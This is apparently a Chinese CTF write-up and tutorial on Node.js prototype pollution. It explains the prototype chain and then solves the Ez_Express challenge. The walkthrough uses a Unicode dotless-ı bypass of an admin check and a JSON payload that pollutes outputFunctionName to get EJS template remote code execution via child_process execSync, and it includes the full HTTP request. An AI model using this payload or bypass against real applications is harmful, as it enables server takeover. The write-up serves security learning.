Nodejs原型链污染
Nodejs与JavaScript和JSON
有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别 如果没有node 那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析 几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8) 这也是为什么我们能在f12中直接执行JavaScript的原因 而Nodejs则是由这个解析器单独从浏览器中拿出来 并进行了一系列的处理 最后成为了一个可以在服务端运行JavaScript的环境 这里看到一个很好的例子 学过java的师傅应该就明白了
那么JSON又是什么呢 简单概括一下就是JavaScript的对象表示方法 它表示的是声明对象的一种格式 由于我们从前端接收到的数据基本都是字符串 因此在服务端如果要将这些字符串处理为其他格式 比如对象 就需要用到JSON了
原型对象(prototype
)与原型连接点(__proto__
)与原型链
在c++或java这些面向对象的语言中 我们如果想要一个对象首先需要使用关键字class声明一个类 再使用关键字new一个对象出来 但是在JavaScript中没有class 以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class
语法,但class
其实只是一个语法糖) 在JavaScript有这么两种声明对象的方式 为了好理解我们先引入类的思想
1 2 3 4 5 6 7 8 9 10
| person=new Object() person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue";
这种创建对象的方法还有另一种写法 如下 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
这种方法通过直接实例化构造方法Object()来创建对象
|
1 2 3 4 5 6 7 8 9 10 11
| function person(firstname,lastname,age,eyecolor) 这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器 { this.firstname=firstname; this.lastname=lastname; this.age=age; this.eyecolor=eyecolor; } var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象 var myMother=new person("Sally","Rally",48,"green");
这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释
|
既然是通过实例化Object来创建对象或创建构造函数
在JavaScript中有两个很特殊的对象 Function() 和 Object() 它们两个既是构造函数也是对象 作为对象是不是应该有一个“类”去作为他们的模板呢
对于Object()来说 要声明这么一个构造函数我们可以使用关键字function来创建 (在底层 使用function创建一个函数 其实就相当于这个过程)
1 2 3 4 5 6
| function Object() {
} 在底层为 var Object = new Function();
|
那么对于Function自己这个对象他是怎么来的呢 如果用Function.__proto__
和Function.prototype进行比较发现二者是全等的 所以Function创造了自己 也创造了Object 所以JavaScript中 所有函数都是对象 而对象是通过函数创建的 因此构造函数.prototype.__proto__
应该是Object.prototype 而不是Function.prototype Function的作用是创建而不是继承
那么提到了__proto__
和prototype
我们就来说说这两个是什么东西
首先我们要了解以下概念
__proto__
是任何一个对象拥有的属性 prototype
是任何一个函数拥有的一个属性
比如
1
| person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
|
那么这个person对象就拥有了person.__proto__
这个属性 而Object()我们刚才提到了是由Function创建来的一个构造函数 那么Object就天生有了Object.prototype
- 某一对象的
__proto__
指向它的prototype(原型对象) 也就是说如果直接访问person.__proto__
那么就相当于访问了Object.prototype
- JavaScript使用prototype链实现继承机制
- 构造函数xxx.prototype是一个对象 xxx.prototype也有自己的
__proto__
属性 并且可以继续指向它的的prototype
- Object.prototype.proto最终指向null 这也是所有原型链的终点
- 从一个对象的
__proto__
不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null 这一条链子就叫做原型链
有条件的师傅也可以把下面的视频合集看一下 对理解原型和原型链有很大的帮助
4_Function与Object的特殊性_哔哩哔哩_bilibili
如果我们有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| function Father() { this.first_name = 'Donald' this.last_name = 'Trump' }
function Son() { this.first_name = 'Melania' }
Son.prototype = new Father()
let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
|
那么按照上述说法 就有如下结构
对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name
- 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name
- 依次寻找,直到找到
null
结束。
原型链污染
举个栗子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
|
这里由于修改了foo.__proto__.bar
也就是修改了Object.bar 因此在后续的实例化对象中 新的对象会继承这一属性 造成了原型链污染
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可
看下面代码 一个简单的对象clone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b)
o3 = {} console.log(o3.b)
|
这里执行后发现 虽然两个对象成功clone 但是Object()并没用被污染 这是因为在创建o2时 __proto__
是已经存在于o2中的属性了 解析器并不能将这个属性解析为键值 所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象) 这样就可以使__proto__
被成功解析成键名了
1 2 3 4 5 6 7
| let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b)
o3 = {} console.log(o3.b)
|
漏洞复现
[GYCTF2020]Ez_Express
进入环境之后是一个登录页面 测试之后发现存在www.zip源码泄露 开始审计index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); });
router.get('/login', function (req, res) { res.render('login'); });
router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
|
看下面两段代码
1 2 3 4 5 6 7
| function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; });
|
只有用admin登录才会return keyword 否则返回undefined 返回undefined就会弹窗forbid word 如果username经过toUpperCase后不能与原来的匹配 或password错误 就会弹窗error passwd 这也是为什么题中说用户名只支持大写
再看这段 就很恶心 如果username为ADMIN就不能登录 又不让用admin 又得用admin登录 这里就用到了JavaScript大小写的漏洞
原理移步p神博客 Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)
1
| if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
|
所以用ADMıN
来绕过 注意不是ADMiN 中间那个i是一个奇怪的字符 把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın)登录进去还给了flag的位置
这里试了试没啥用 继续看源码 上面提到了 merge clone操作可以控制键值和键名 从而达到污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } }
|
往下看找到调用clone的位置
1 2 3 4 5
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
|
也就是说我们可以在action路由下通过请求体来进行污染 原型链污染的位置找到了 接下来就是要找到可以用来控制键名和键值的对象
看到这段
1 2 3
| router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
|
render函数应该不陌生 在模板注入攻击(SSTI)中很常见 这里将回显req的outputFunctionNmae渲染到了index中 那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢 代码跟下来我们发现并没有outputFunctionName这个东西 也就是说它是我们可以用来污染原型链的载体 如果把Object的prototype中加上键名为outputFunctionName 键值为恶意payload的属性 那么在进行模板渲染时 是不是就会执行我们的恶意payload
但是我们考虑一个问题 如何去修改Object的prototype (确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码
1 2 3 4 5
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
|
发现请求体被clone到了req.session.user.data中 对于req.session.user这个对象来说 它的__proto__
属性是不是就是Object的prototype 所以我们可以修改了这个对象的__proto__
从而达到目的
1 2 3 4 5
| req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false }
|
SSTI的payload我也不是很懂 反正原理都是不断调用原型对象 最后找到一个可以用来rce的函数 payload和CVE-2019-10744
是一样的 直接搬来用了
1
| {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
|
污染成功后在info路由下调用res.outputFunctionName时 就像上面调用son.last_name
的过程一样 最终调用到了Object的outputFunctionName 并且要让__proto__
为键名 要用JSON格式 所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考 记得路由和传参方式也要改 再传payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /action HTTP/1.1 Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY Content-Type: application/json Connection: close Content-Length: 137
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
|
在action路由下污染成功后应该接着访问info路由进行SSTI 但是不知道为啥我包发过去直接给flag了
参考文章
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
【全网首发:已完结】快速搞懂『原型、原型链』【JavaScript基础专题】_哔哩哔哩_bilibili
GYCTF2020]Ez_Express 原型链污染_-栀蓝-的博客-CSDN博客
Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)
Web/Nodejs]原型链污染EJS模块的利用分析(附源码分析)_車鈊的博客-CSDN博客
https://xz.aliyun.com/t/6113#toc-4